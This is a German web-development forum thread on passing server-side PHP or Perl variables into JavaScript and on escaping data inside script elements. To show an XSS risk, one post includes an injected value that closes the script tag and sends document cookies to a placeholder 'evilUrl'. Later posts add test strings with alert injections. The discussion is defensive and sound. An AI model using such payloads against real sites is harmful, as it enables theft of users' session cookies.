Marti: Variable von PHP nach JAVASCRIPT übergeben

0 92

Variable von PHP nach JAVASCRIPT übergeben

  1. 1
    1. 2
      1. 0
        1. -1

          Arrays und Hashes (Perl oder PHP) in <script> als JS-Object erzeugen

          1. 0
            1. 0
              1. 0
                1. 0
                  1. 0
                    1. 0
                      1. 0
                        1. 0
                          1. 0
                            1. 0
                  2. 0

                    Rolf B's Lösung

                    1. 2
                      1. 0
                        1. 0
                        2. 0
                          1. 0
                            1. 1
                              1. 0
                                1. 1
                                  1. 0
                                    1. 1
                                      1. 0
                                      2. 0
                                        1. 0
                                          1. 0
                                            1. 0
                                          2. 0
                                            1. 0
                                              1. 0
                                                1. 0
                                                  1. 0
                                                2. 0
                                                  1. 0
                                                    1. 0
                              2. 0
                                1. 0
                                  1. 0
                                2. 0
                                  1. 0
                                    1. 0
                          2. 0
                            1. 0
                              1. 0
                                1. 0
                                  1. 0
                                    1. 0
                                      1. 0
                                        1. 0
                                          1. 0
                                            1. 0
        2. 2
    2. 0
      1. 0
        1. 0
          1. 0
            1. 0
      2. 0
        1. 0
  2. 0
  3. 0
    1. 1
      1. 0
        1. 0
          1. 0
            1. 0
              1. 0
                1. 0
                2. 0
                  1. 0

                    JSONP, CORS

            2. 0
              1. 0
                1. 0
                  1. 0
                    1. 0
                      1. 0
                        1. 0
                          1. 0
                            1. 0
        2. 0
          1. 0
  4. 0
  5. 0
    1. 0
    2. 0
    3. 0
  6. 0
    1. 0

Ich habe ein PHP Script, in dieser habe ich eine Variable mit einem Integer Wert.

$nummer

Später wird auf der Seite noch eine javascript Datei aufgerufen.

In dieser wird eine URL aufgerufen

url: 'datei.php?id=100'

statt der 100 möchte ich die Variable

$nummer

einsetzen.

Wie kann ich also meine PHP Variable in eine Javascript Datei übernehmen?

Marti

  1. hallo

    Ich habe ein PHP Script, in dieser habe ich eine Variable mit einem Integer Wert.

    $nummer

    Später wird auf der Seite noch eine javascript Datei aufgerufen.

    In dieser wird eine URL aufgerufen

    url: 'datei.php?id=100'

    statt der 100 möchte ich die Variable

    $nummer

    einsetzen.

    Wie kann ich also meine PHP Variable in eine Javascript Datei übernehmen?

    • Variante a)

    Schreibe einen Javascript Block in PHP mit der Ausgabe

    <script>
    var myVarsByServerDef={
       "var1":"value1",
       "var2":"value2",
    };
    </script>
    

    Lasse danach dein anderes script onload diese variable abholen

    • Varante b)

    Notiere ein Element in Php mit hidden Attribut. Dieses kann dann verschiedene Werte übergeben wie folgt

    <div hidden 
      id="servervars"
      data-var1="value1"
      data-var2="value2"
    
    >
    
    

    diese kannst ebenfalls später auslesen über

    var el = document.getElementById("servervars");
    var variable1 = el.dataset.var1;
    

    Beachte, zum Auslesen von data Attributen wird in JS die Methode dataset verwendet

    • Variate c)
    • Variante d)
    --
    Neu im Forum! Signaturen kann man ausblenden!
    1. Hallo,

      Schreibe einen Javascript Block in PHP mit der Ausgabe

      <script>
      var myVarsByServerDef={
         "var1":"value1",
         "var2":"value2",
      };
      </script>
      

      Aber bitte nicht so, sondern a) per json_encode das Objekt erzeugen und b) an Kontextwechsel denken ("</script" in den Values).

      Viele Grüße Matti

      1. hallo

        Hallo,

        Schreibe einen Javascript Block in PHP mit der Ausgabe

        <script>
        var myVarsByServerDef={
           "var1":"value1",
           "var2":"value2",
        };
        </script>
        

        Aber bitte nicht so,

        Ich habe keine einzige Zeile PHP verwendet.

        sondern a) per json_encode das Objekt erzeugen und

        Ich habe nicht definiert, wie die Ausgabe zu erzeugen ist.

        b) an Kontextwechsel denken ("</script" in den Values).

        Natürlich, das muss man immer.

        Wenn du jetzt gesagt hättest, dass mein Code zu einem JS-Fehler führt, hättest du meine Reaktion erspart. Vielleicht tut er es ja.

        --
        Neu im Forum! Signaturen kann man ausblenden!
        1. hallo

          Das folgende ist eine funktionierende Implementation um Perl Arrays oder Hashes innerhalb von <script> Elementen als JS Objekte zu erzeugen.

          
          Use Json;
          
          #Beispieldata
          my $arrayref=[ "example>1", "example>2", "<>\"'&&" ];
          my $hashref= { a=>"example>1", b=>"example>2", c=>"<>\"'&&" };
          
          #Anwendung
          print perldata_to_htmlscript_ob( { var1 => $arrayref, var2=> $hashref } );
          
          # Die Funktion
          sub perldata_to_htmlscript_ob{
          	my $hash_of_objects = shift;
          	my $result = '';
          	foreach( keys %{ $hash_of_objects } ){
          		$result .= "var ". $_." = " .  encode_json( $hash_of_objects->{$_} ) . "\n";
          	}
          	return sprintf("<script>\n//<!--\n%s\n// -->\n</script>\n",$result);
          }
          

          Statt html_escape wird eine Syntax verwendet, die die Interpretation als html abschaltet.

          Das lässt sich sehr leicht nach PHP portieren.

          --
          Neu im Forum! Signaturen kann man ausblenden!
          1. Warum so umständlich?

            use JSON;
            
            #Beispieldata
            my $arrayref=[ "example>1", "example>2", "<>\"'&&" ];
            my $hashref= { a=>"example>1", b=>"example>2", c=>"<>\"'&&" };
            
            printf q(
            <script>
            //<!--
            var var1 = %s
            var var2 = %s
            // -->
            </script>
            ), encode_json($arrayref), encode_json($hashref);
            
            

            macht genau daselbe und ja, es heißt use JSON;!!! Also bitte Groß/Kleinschreibung beachten insbesondere wenn Beispielcode gepostet wird dann richtig!

            MfG

            1. hallo

              macht genau daselbe

              Das nennt man dann wohl rerefactoring.

              --
              Neu im Forum! Signaturen kann man ausblenden!
              1. hallo

                macht genau daselbe

                Das nennt man dann wohl rerefactoring.

                Egal 😉

                Wichtig ist noch zu wissen, wie man sowas einbindet:

                <script src="?vars=1"></script>
                

                Wobei diese Response nur dasda

                var var1 = ["example>1","example>2","<>\"'&&"];
                var var2 = {"c":"<>\"'&&","a":"example>1","b":"example>2"};
                

                senden muss.

                Schluss 4 heide.

                PS: JS Zeilen um ";" ergänzt, hatte ich vorhin auch vergessen.

                use JSON;
                
                #Beispieldata
                my $arrayref=[ "example>1", "example>2", "<>\"'&&" ];
                my $hashref= { a=>"example>1", b=>"example>2", c=>"<>\"'&&" };
                
                printf q(
                var var1 = %s;
                var var2 = %s;
                ), encode_json($arrayref), encode_json($hashref);
                

                schackschack!

                1. Hallo pl,

                  <script src="?vars=1"></script>
                  

                  Hm. Nimm's nicht persönlich, aber ich bin mal wieder anderer Meinung.

                  Kann man machen, aber ich denke, man sollte das nicht so machen. Warum soll man für die Bereitstellung der Variablen einen neuen Webrequest starten? Wenn ich aus einem serverseitigen Programm heraus Informationen für ein auf dem Client laufenden Script bereitstellen will, dann bin ich serverseitig doch irgendwann an dem Punkt, wo ich (a) die Daten für die HTML Seite und (b) die Daten für's Script gemeinsam beisammen habe. Dann sollte ich sie auch gemeinsam raushauen. Mit der von Dir vorgeschlagenen Lösung müsste ich die Daten für's Script erstmal zwischenspeichern (Session) und dann über die ?vars=1 Variante wieder bereitstellen.

                  Dann doch lieber gleich einen inline-script Block generieren, der die Variablen setzt.

                  Rolf

                  --
                  sumpsi - posui - clusi
                  1. hi

                    <script src="?vars=1"></script>
                    

                    Hm. Nimm's nicht persönlich, aber ich bin mal wieder anderer Meinung.

                    Kann man machen, aber ich denke, man sollte das nicht so machen. Warum soll man für die Bereitstellung der Variablen einen neuen Webrequest starten? Wenn ich aus einem serverseitigen Programm heraus Informationen für ein auf dem Client laufenden Script bereitstellen will, dann bin ich serverseitig doch irgendwann an dem Punkt, wo ich (a) die Daten für die HTML Seite und (b) die Daten für's Script gemeinsam beisammen habe. Dann sollte ich sie auch gemeinsam raushauen.

                    Davon rede ICH doch die ganze Zeit!

                    Mit der von Dir vorgeschlagenen Lösung

                    Der Vorschlag ist ja nicht von mir. Ich habe nur den Code verbessert.

                    MfG

                    1. Hallo pl,

                      Davon rede ICH doch die ganze Zeit!

                      Du hast von einer ganzen Menge geredet und da habe ich vielleicht den Überblick verloren.

                      Mit der von Dir vorgeschlagenen Lösung Der Vorschlag ist ja nicht von mir. Ich habe nur den Code verbessert.

                      Ach so?

                      https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720758#m1720758

                      <script src="?vars=1"></script>
                      

                      ist schon von Dir...

                      Rolf

                      --
                      sumpsi - posui - clusi
                      1. hi,

                        Davon rede ICH doch die ganze Zeit!

                        Du hast von einer ganzen Menge geredet und da habe ich vielleicht den Überblick verloren.

                        Die Rede war die ganze Zeit davon wie man eine serverseitige Variable zum Client bekommt ins JS. Mein Vorschlag war, ist und bleibt: Platzhalter im Template.

                        Insbesondere wenn diese Variable bereits beim Ausliefern der Seite feststeht bzw. feststehen falls das mehrere Variablen sind, wird das alles zusammen in einer Response ausgeliefert.

                        MfG

                        1. Hallo pl,

                          Insbesondere wenn diese Variable bereits beim Ausliefern der Seite feststeht bzw. feststehen falls das mehrere Variablen sind, wird das alles zusammen in einer Response ausgeliefert.

                          Ja. Sicher. Das ist unstreitig.

                          Streitig ist nur der Sinn eines Konstruktes wie

                          <script src="?vars=1"></script>
                          

                          das von Dir als "so macht man das richtig" eingebracht wurde. Streitig war auch, dass es sinnvoll ist, größere JS Trümmer durch eine Templating-Engine zu jagen. Möglicherweise gibt's ein paar KI Systeme, die auf diese Weise ihr erlerntes Wissen in Code gießen. Das ist für Norbert Normalwebentwickler aber nicht gegeben.

                          Rolf

                          --
                          sumpsi - posui - clusi
                          1. @Rolf B

                            Insbesondere wenn diese Variable bereits beim Ausliefern der Seite feststeht bzw. feststehen falls das mehrere Variablen sind, wird das alles zusammen in einer Response ausgeliefert.

                            Ja. Sicher. Das ist unstreitig.

                            Streitig ist nur der Sinn eines Konstruktes wie

                            <script src="?vars=1"></script>
                            

                            Wenn Du JS aus einer dedizierten Quelle einbinden willst, bleibt Dir nichts weiter übrig als das über den <script>-Tag zu tun.

                            Im Übrigen war die Frage des OP, wie man eine serverseitige Variable in eine JS-Datei einbindet!

                            MfG

                            1. Hallo pl,

                              herzlichen Glückwunsch. Du hast den Sinn der Frage exakt verstanden. Sonst wäre es Dir nicht gelungen, ihn so weiträumig zu verfehlen.

                              Rolf

                              --
                              sumpsi - posui - clusi
                  2. hi @Rolf B

                    Kann man machen, aber ich denke, man sollte das nicht so machen. Warum soll man für die Bereitstellung der Variablen einen neuen Webrequest starten? Wenn ich aus einem serverseitigen Programm heraus Informationen für ein auf dem Client laufenden Script bereitstellen will, dann bin ich serverseitig doch irgendwann an dem Punkt, wo ich (a) die Daten für die HTML Seite und (b) die Daten für's Script gemeinsam beisammen habe. Dann sollte ich sie auch gemeinsam raushauen.

                    Zeige doch mal bitte Deine Lösung hierzu.

                    Dann doch lieber gleich einen inline-script Block generieren, der die Variablen setzt.

                    Und erkläre bitte was Du damit meinst (Codebeispiel).

                    MfG

                    1. Hallo pl,

                      ich glaube, jeder hier weiß was ich meine. Du auch, du willst mir jetzt nur patzig die Medizin weiterreichen, die Du gelegentlich von dedlfix bekommst.

                      Gesehen hat es auch jeder: Schau Dir beatovichs allererste Antwort im Thread an. Ich hätte Variante A realisiert. Variante B ist auch nicht schlecht, sie hält den JS-Namespace sauber.

                      Eine Lösung zum Vorzeigen, aus der Schublade, habe ich nicht. Unter anderem deshalb, weil meine Web-Projekte firmenintern sind und nicht öffentlich. Alle relevanten Punkte für die Umsetzung sind aber im Thread gefallen.

                      Rolf

                      --
                      sumpsi - posui - clusi
                      1. hi @Rolf B

                        Gesehen hat es auch jeder: Schau Dir beatovichs allererste Antwort im Thread an. Ich hätte Variante A realisiert. Variante B ist auch nicht schlecht, sie hält den JS-Namespace sauber.

                        Ok. Und Wie hättest Du das umgesetzt? Vor allem hinsichtlich dessen, daß alles zusammen in einer Response geladen wird? Mit Sicherheit wird es darauf hinauslaufen, HTML + JS Code zusammen mit PHP zu erzeugen -- in beiden Varianten A und B!

                        Demgegenüber ist eine Lösung per Template + Platzhalter deutlich übersichtlicher, wartungsfreundlicher und handhabungssicherer. Zumal in diesem Fall die Namen der Variablen in JS feststehen und nicht über PHP hineingereicht, sondern nur die Werte über Platzhalter gesetzt werden.

                        Wobei Werte in Platzhaltern nicht auf Scalare beschränkt sind sondern auch Objekte o.a. komplexere Datenstrukturen sein können -- als JSON.

                        MfG

                        1. hallo

                          hi @Rolf B

                          Gesehen hat es auch jeder: Schau Dir beatovichs allererste Antwort im Thread an. Ich hätte Variante A realisiert. Variante B ist auch nicht schlecht, sie hält den JS-Namespace sauber.

                          Ok. Und Wie hättest Du das umgesetzt? Vor allem hinsichtlich dessen, daß alles zusammen in einer Response geladen wird? Mit Sicherheit wird es darauf hinauslaufen, HTML + JS Code zusammen mit PHP zu erzeugen -- in beiden Varianten A und B!

                          Die korrekte Antwort ist: Es kommt auf das konkrete Datum an.

                          Geht es etwa darum nach erstmaliger language-negotiation die gewünschte Userlanguage zu setzen, so landet diese Angabe im html-Element WENN diese Sprache unterstützt wird. Zusätzlich landet sie aber auch in eine JS-Variable, da der Aufwand schon mal betrieben wurde, diese aus den headern zu extrahieren.

                          --
                          Neu im Forum! Signaturen kann man ausblenden!
                        2. Hallo pl,

                          wenn ich eine Template-Engine hätte, die im Stande ist, JS in HTML zu erkennen und erforderliche Kontextbehandlungen transparent durchzuführen, dann hätte ich das sicherlich damit gemacht.

                          Hab ich aber nicht; es gibt da so ein Smarty-basierendes Projekt, an dem ich gelegentlich mit bastele (aber wer dessen Innereien betrachtet bekommt Schreikrämpfe, weshalb ich das NICHT als Referenz angebe), da geht das mit etwas Tipparbeit semitransparent. Smarty kennt Modifier hinter Template-Variablen. Entweder eingebaute, z.B. escape für HTML-Escaping, oder wenn's kein eingebauter ist, sucht er eine eingebaute PHP-Funktion dieses Namens (was ich für grenzwertiges Design halte, aber hier schön praktisch ist).

                          Mit Smarty würde ich also einfach

                          <script>
                             var ROLF.jsData = {$jsData|json_encode};
                          </script>
                          

                          in mein Template schreiben. PHP sieht so aus:

                          $smarty = CreateSmarty();   // Projektspezifsicher Helper mit Smarty-Setup;
                          $smarty->assign('jsData', ['foo' => 3, 'bar' => "hugo" ]);
                          $smarty->display('myPage.tpl');
                          

                          $jsData wäre dann die Template-Variable, wo mein Parameter-Objekt drin ist. Die bestücke ich aus PHP heraus mit einem Skalar oder Objekt, ohne zu wissen wie sie zu rendern ist. Prima. Und mein statisches JS würde ROLF.jsData verwenden können. Auch prima. Das Know-How, wie der Kontextwechsel zu laufen hat, steckt im Smarty-Template. Kann dein FW das auch so schön transparent?

                          Ohne TE - na gut, dann echo't man den json_encode raus oder baut ihn mit <?= ?> ein.

                          Also - lieber Namenskollege - wir sind uns ja durchaus einig. Bis auf ein paar technische Details, die mit der Frage nichts zu tun hatten...

                          Rolf

                          --
                          sumpsi - posui - clusi
                          1. hallo

                            Mit Smarty würde ich also einfach

                            <script>
                               var ROLF.jsData = {$jsData|json_encode};
                            </script>
                            
                            <script>
                            //<!--
                               var ROLF.jsData = {$jsData|json_encode};
                            //-->
                            </script>
                            

                            Sorry, soviel muss sein

                            --
                            Neu im Forum! Signaturen kann man ausblenden!
                            1. Hallo,

                              <script>
                              //<!--
                                 var ROLF.jsData = {$jsData|json_encode};
                              //-->
                              </script>
                              

                              habe ich irgendwas verpasst? Ist irgendein Browser aufgetaucht, der <script> nicht kennt? Dachte, Netscape Navigator 1.0 sei ausgestorben ... vor etwa 25 Jahren.

                              Viele Grüße Matti

                              1. hallo

                                Hallo,

                                <script>
                                //<!--
                                   var ROLF.jsData = {$jsData|json_encode};
                                //-->
                                </script>
                                

                                habe ich irgendwas verpasst? Ist irgendein Browser aufgetaucht, der <script> nicht kennt? Dachte, Netscape Navigator 1.0 sei ausgestorben ... vor etwa 25 Jahren.

                                Warst nicht du es der vor </script> in data gewarnt hat, und an Kontextwechsel erinnert hat?

                                --
                                Neu im Forum! Signaturen kann man ausblenden!
                                1. Hallo,

                                  <script>
                                  //<!--
                                     var ROLF.jsData = {$jsData|json_encode};
                                  //-->
                                  </script>
                                  

                                  Warst nicht du es der vor </script> in data gewarnt hat, und an Kontextwechsel erinnert hat?

                                  es geht um folgenden Angriffsvektor (unter der Annahme, dass $jsData in irgendeiner Form mit Daten aus User-Kontrolle bestückt ist. Z.B. (alles aus dem Kopf geschrieben):

                                  $jsData = "\";</script><script>var cookies = JSON.stringify(document.cookies);window.open('evilUrl?q=' + cookies);";
                                  

                                  Dann sollte bei einem reinem Code wie oben (selbst mit dem "<script><!-- "-"Trick" folgendes herauskommen:

                                  <script>
                                  //<!--
                                     var ROLF.jsData = "";</script><script>var cookies = JSON.stringify(document.cookies);window.open('evilUrl?q=' + cookies);";
                                  //-->
                                  </script>
                                  

                                  und schwupps hat man (trotz SOP und Co) seine Cookies verloren. Die Lösung besteht darin, dass die wichtigen Steuerzeichen aus dem Output entfernt werden. Im Kontext von JS in HTML sind es eben nicht nur die JS-Steuerzeichen (die man mit json_encode wegbekommt), sondern eben auch </script>. Der HTML-Kommentar hilft hier nicht wirklich, außer ich verpasse irgendwas. Daher meine Rückfrage.

                                  Viele Grüße Matti

                                  1. hallo

                                    es geht um folgenden Angriffsvektor (unter der Annahme, dass $jsData in irgendeiner Form mit Daten aus User-Kontrolle bestückt ist. Z.B. (alles aus dem Kopf geschrieben):

                                    $jsData = "\";</script><script>var cookies = JSON.stringify(document.cookies);window.open('evilUrl?q=' + cookies);";
                                    

                                    Dann sollte bei einem reinem Code wie oben (selbst mit dem "<script><!-- "-"Trick" folgendes herauskommen:

                                    <script>
                                    //<!--
                                       var ROLF.jsData = "";</script><script>var cookies = JSON.stringify(document.cookies);window.open('evilUrl?q=' + cookies);";
                                    //-->
                                    </script>
                                    

                                    und schwupps hat man (trotz SOP und Co) seine Cookies verloren. Die Lösung besteht darin, dass die wichtigen Steuerzeichen aus dem Output entfernt werden. Im Kontext von JS in HTML sind es eben nicht nur die JS-Steuerzeichen (die man mit json_encode wegbekommt), sondern eben auch </script>. Der HTML-Kommentar hilft hier nicht wirklich, außer ich verpasse irgendwas. Daher meine Rückfrage.

                                    Wenn der Inhalt der Variable nicht kontrolliert werden kann, dann muss sowieso encode_json angewendet werden. Das ist dir klar?

                                    Wenn du schon encode_json anwendest, dann ist es nicht sinnvoll da serverseitig noch html_escape laufen zu lassen, sonst bekommst du ganz andere Daten als beabsichtigt.

                                    --
                                    Neu im Forum! Signaturen kann man ausblenden!
                                    1. Hallo,

                                      nochmal zum mitschreiben:

                                      • json_encode escaped die Sonderzeichen für Javascript (als Nebeneffekt, da JSON gültiges JS ist).
                                      • json_encode escaped nicht die Sonderzeichen von Javascript in HTML. Da gibt es genau eines (</script>). Das muss separat behandelt werden.

                                      Es geht nicht um ein komplettes HTML-Escape, nur um </script>.

                                      tl;dr: Sonderzeichen von Javascript sind eine echte Teilmenge der Sonderzeichen von Javascript in HTML.

                                      Viele Grüße Matti

                                      1. Hallo,

                                        mehr Informationen auch hier, inkl. ein paar alternativer Strategien: OWASP CSS Prevention Sheet

                                        Viele Grüße Matti

                                      2. hallo

                                        nochmal zum mitschreiben:

                                        • json_encode escaped die Sonderzeichen für Javascript (als Nebeneffekt, da JSON gültiges JS ist).
                                        • json_encode escaped nicht die Sonderzeichen von Javascript in HTML. Da gibt es genau eines (</script>). Das muss separat behandelt werden.

                                        Nach schnellem Test gebe ich dir Recht.

                                        Das hat zur Konsequenz: Sofern man nicht die Kontrolle über die Data hat, sollte man überhaupt nicht Daten in einem script Element übergeben.

                                        --
                                        Neu im Forum! Signaturen kann man ausblenden!
                                        1. Das hat zur Konsequenz: Sofern man nicht die Kontrolle über die Data hat, sollte man überhaupt nicht Daten in einem script Element übergeben.

                                          Nein, man muss lediglich kontextgerecht maskieren, die HTML5.2 Spec schreibt auch vor wie. Die Spec hat ironischwerweise aber genau an der Stelle ein Kontextwechsel-Problem :D In HTML5.1 wird der Abschnitt noch richtig dargestellt. In meiner eigenen kleinen Templating-Engine habe ich das auch implementiert – mir selbst auf die Schulterklopf.

                                          function escapeRawText($text){
                                              $tests = [
                                                  '/<script/ium',   // test for forbidden opening tags
                                                  '/<\/script/ium', // test for forbidden closing tags
                                                  '/<!--/ium'       // test for forbidden opening comments
                                              ];
                                              $replacements = [
                                                  '<\\\script',
                                                  '<\\/script',
                                                  '<\\!--'
                                              ];
                                              return preg_replace($tests, $replacements, $text);
                                          }
                                          
                                          1. Tach!

                                            function escapeRawText($text){
                                                $tests = [
                                                    '/<script/ium',   // test for forbidden opening tags
                                                    '/<\/script/ium', // test for forbidden closing tags
                                                    '/<!--/ium'       // test for forbidden opening comments
                                                ];
                                                $replacements = [
                                                    '<\\\script',
                                                    '<\\/script',
                                                    '<\\!--'
                                                ];
                                                return preg_replace($tests, $replacements, $text);
                                            }
                                            

                                            Bist du sicher, dass es drei \ im ersten Replacement sein müssen? Dann kommt in Javascript das Literal '<\\script', das als <\script interpretiert wird, was meines Erachtens nicht richtig ist.

                                            Alternativ könnte man statt \ für Javascript hinzuzufügen, und die dann noch für PHP maskieren zu müssen, auch aus einem Zeichen eine Javascript-Unicode-Escape-Sequenz machen. \u bleibt innerhalb von PHPs single-quoted Strings unberührt.

                                            dedlfix.

                                            1. Tach!

                                              function escapeRawText($text){
                                                  $tests = [
                                                      '/<script/ium',   // test for forbidden opening tags
                                                      '/<\/script/ium', // test for forbidden closing tags
                                                      '/<!--/ium'       // test for forbidden opening comments
                                                  ];
                                                  $replacements = [
                                                      '<\\\script',
                                                      '<\\/script',
                                                      '<\\!--'
                                                  ];
                                                  return preg_replace($tests, $replacements, $text);
                                              }
                                              

                                              Bist du sicher, dass es drei \ im ersten Replacement sein müssen?

                                              Sieht für mich inzwischen auch komisch aus - das könnte in der Tat ein Bug sein. Ich habe dazu damals zwar einen Unit-Test geschrieben und mir irgendwas dabei gedacht, aber ich glaube der Test könnte schon falsch sein. Dort wird sinngemäß assertEquals($actual,'<\\script>') getestet, das sieht für mich wiederum gut aus. Ich muss da jedenfalls nochmal einen genaueren Blick draufwerfen. Danke für den Hinweis.

                                              Alternativ könnte man statt \ für Javascript hinzuzufügen, und die dann noch für PHP maskieren zu müssen, auch aus einem Zeichen eine Javascript-Unicode-Escape-Sequenz machen. \u bleibt innerhalb von PHPs single-quoted Strings unberührt.

                                              Stimmt, so würde es auch gehen.

                                          2. hallo

                                            Das hat zur Konsequenz: Sofern man nicht die Kontrolle über die Data hat, sollte man überhaupt nicht Daten in einem script Element übergeben.

                                            Nein, man muss lediglich kontextgerecht maskieren, die HTML5.2 Spec schreibt auch vor wie. Die Spec hat ironischwerweise aber genau an der Stelle ein Kontextwechsel-Problem :D In HTML5.1 wird der Abschnitt noch richtig dargestellt. In meiner eigenen kleinen Templating-Engine habe ich das auch implementiert – mir selbst auf die Schulterklopf.

                                            Ich kann zwar zugeben dass, diese Version (ich habe es bi meiner gestrigen Antwort verwendet), den Job tut...

                                            my $arrayref=[ "//-><script>alert(\"gotcha\")", "example>2", "\"</script><>\"'&&" ];
                                            my $hashref={a=>"-->\\\n", b=>"example>2", c=>"\"</script><>\"'&&"};
                                            
                                            print perldata_to_htmlscript_ob({v1=>$arrayref,v2=>$hashref});
                                            
                                            sub perldata_to_htmlscript_ob{
                                            	my $hash_of_objects = shift;
                                            	my $result = '';
                                            	foreach( keys %{ $hash_of_objects } ){
                                            		$result .= sprintf( qq{var %s = %s;\n}, $_, encode_json( $hash_of_objects->{$_} ) );
                                            	}
                                            	$result =~ s{[/]}{\\/}g;  #### <---------------
                                            	return sprintf("<script>\n//<!--\n%s\n// -->\n</script>\n", $result );
                                            }
                                            

                                            Aber wirklich gut getestet ist das nicht. Es maskiert aber AUCH die stellen die in der Spec angegeben sind.

                                            Ehrlich gesagt sieht mir die Empfehlung der Spec da eher als inkonsistener Hack aus.

                                            --
                                            Neu im Forum! Signaturen kann man ausblenden!
                                            1. hallo

                                              $result =~ s{[/]}{\/}g; #### <---------------

                                              Nein, das reicht bei weitem nicht!!!

                                              --
                                              Neu im Forum! Signaturen kann man ausblenden!
                                              1. hallo

                                                hallo

                                                $result =~ s{[/]}{\\/}g;  #### <---------------
                                                

                                                Nein, das reicht bei weitem nicht!!!

                                                sub perldata_to_htmlscript_ob{
                                                	my $hash_of_objects = shift;
                                                	my $result = '';
                                                	foreach( keys %{ $hash_of_objects } ){
                                                		$result .= sprintf( qq{var %s = %s;\n}, $_, encode_json( $hash_of_objects->{$_} ) );
                                                	}
                                                	$result =~ s{</script}{<\\/script}g;
                                                	$result =~ s{<script}{<\\script}g;
                                                	$result =~ s{<!--}{<\\!--}g;
                                                	# https://www.w3.org/TR/html51/semantics-scripting.html#script-content-restrictions
                                                	# <!--  ===>  <\!-- , <script ===> <\script , </script  ===>  <\/script
                                                	return sprintf("<script>\n//<!--\n%s\n// -->\n</script>\n", $result );
                                                }
                                                

                                                Das besteht diesen Test

                                                my $arrayref=[ 
                                                	"<!--<script>alert(\"gotcha\")</script>-->", 
                                                	"</script>-->!--<script>alert(\"gotcha\")</script>-->", 
                                                	"--><script>alert(\"gotcha\")</script>-->", 
                                                	];
                                                
                                                --
                                                Neu im Forum! Signaturen kann man ausblenden!
                                                1. sub perldata_to_htmlscript_ob{
                                                  	my $hash_of_objects = shift;
                                                  	my $result = '';
                                                  	foreach( keys %{ $hash_of_objects } ){
                                                  		$result .= sprintf( qq{var %s = %s;\n}, $_, encode_json( $hash_of_objects->{$_} ) );
                                                  	}
                                                  	$result =~ s{</script}{<\\/script}g;
                                                  	$result =~ s{<script}{<\\script}g;
                                                  	$result =~ s{<!--}{<\\!--}g;
                                                  	# https://www.w3.org/TR/html51/semantics-scripting.html#script-content-restrictions
                                                  	# <!--  ===>  <\!-- , <script ===> <\script , </script  ===>  <\/script
                                                  	return sprintf("<script>\n//<!--\n%s\n// -->\n</script>\n", $result );
                                                  }
                                                  

                                                  Ich kann Perl kaum lesen geschweigedenn schreiben, aber ich glaub du musst den regulären Ausdrücken noch sagen, dass sie case-insenstive matchen sollen.

                                                  1. hallo

                                                    sub perldata_to_htmlscript_ob{
                                                    	my $hash_of_objects = shift;
                                                    	my $result = '';
                                                    	foreach( keys %{ $hash_of_objects } ){
                                                    		$result .= sprintf( qq{var %s = %s;\n}, $_, encode_json( $hash_of_objects->{$_} ) );
                                                    	}
                                                    	$result =~ s{</script}{<\\/script}ig;
                                                    	$result =~ s{<script}{<\\script}ig;
                                                    	$result =~ s{<!--}{<\\!--}ig;
                                                    	# https://www.w3.org/TR/html51/semantics-scripting.html#script-content-restrictions
                                                    	# <!--  ===>  <\!-- , <script ===> <\script , </script  ===>  <\/script
                                                    	return sprintf("<script>\n//<!--\n%s\n// -->\n</script>\n", $result );
                                                    }
                                                    

                                                    Ich kann Perl kaum lesen geschweigedenn schreiben, aber ich glaub du musst den regulären Ausdrücken noch sagen, dass sie case-insenstive matchen sollen.

                                                    Ja, das kann sogar ich in der Spec nachvollziehen.

                                                    danke

                                                    Jetzt brauche ich noch gute Testdata.

                                                    --
                                                    Neu im Forum! Signaturen kann man ausblenden!
                                                2. @beatovich

                                                  Nurmal so nebenbei: HTML (mit oder ohne JS) mit Perl zu erzeugen (print), daß macht heutzutage keiner mehr. Das war auch einer der Gründe, das Modul CGI.pm aus dem Core zu entfernen, weil diesbezügliche Funktionen längstens überholt sind.

                                                  Geschätzt seit v5.8 ist HTML::Template in jeder Perl Distribution dabei und weitere TE's standen bereits auch vorher schon zur Verfügung wie z.B. Text::Template. Außerdem ist es schon länger möglich, ganze Frameworks am Stück über CPAN zu installieren. Ebenso stehen verschiedene Module zur Verfügung betreff kontextgerechter Behandlung (HTML::Entities URI::Escape usw.).

                                                  MfG

                                                  1. hallo

                                                    @beatovich

                                                    Nurmal so nebenbei: HTML (mit oder ohne JS) mit Perl zu erzeugen (print), daß macht heutzutage keiner mehr.

                                                    Ja ich knall auch nur ein Grundgerüst raus, der Rest wird durch JS generiert.

                                                    Aber sei dir bitte bewusst, wie sich dieser Thread entwickelt hat. Für mich ist das hier ein Test- und Lernbett.

                                                    Das war auch einer der Gründe, das Modul CGI.pm aus dem Core zu entfernen, weil diesbezügliche Funktionen längstens überholt sind.

                                                    Ich gebe dir Recht darin, dass die html-parts in CGI immer überflüssig waren.

                                                    Geschätzt seit v5.8 ist HTML::Template in jeder Perl Distribution dabei und weitere TE's standen bereits auch vorher schon zur Verfügung wie z.B. Text::Template.

                                                    Hier aus HTML::Template

                                                    The following escape values are supported:

                                                    html
                                                    
                                                    Replaces the following characters with their HTML entity equivalent: &, ", ', <, >
                                                    
                                                    js
                                                    
                                                    Escapes (with a backslash) the following characters: \, ', ", \n, \r
                                                    
                                                    url
                                                    
                                                    URL escapes any ASCII characters except for letters, numbers, _, . and -.
                                                    
                                                    none
                                                    
                                                    Performs no escaping. This is the default, but it's useful to be able to explicitly turn off escaping if you are using the default_escape option.
                                                    

                                                    Die Frage ist aber nicht, ob mit oder ohne HTML-Template, sondern ob die Ausgabe kontext-gerecht produziert wird.

                                                    Das ist im Kontext jetzt nicht zielführen, das musst du zugeben.

                                                    Persönlich würde ich JSON-Data ja als application/json File einbinden. Da ist der Kontext klar.

                                                    --
                                                    Neu im Forum! Signaturen kann man ausblenden!
                                                    1. hallo @beatovich

                                                      Nurmal so nebenbei: HTML (mit oder ohne JS) mit Perl zu erzeugen (print), daß macht heutzutage keiner mehr.

                                                      Ja ich knall auch nur ein Grundgerüst raus, der Rest wird durch JS generiert.

                                                      Aber sei dir bitte bewusst, wie sich dieser Thread entwickelt hat. Für mich ist das hier ein Test- und Lernbett.

                                                      Ja natürlich. Da verstehen wir uns doch.

                                                      Die Frage ist aber nicht, ob mit oder ohne HTML-Template, sondern ob die Ausgabe kontext-gerecht produziert wird.

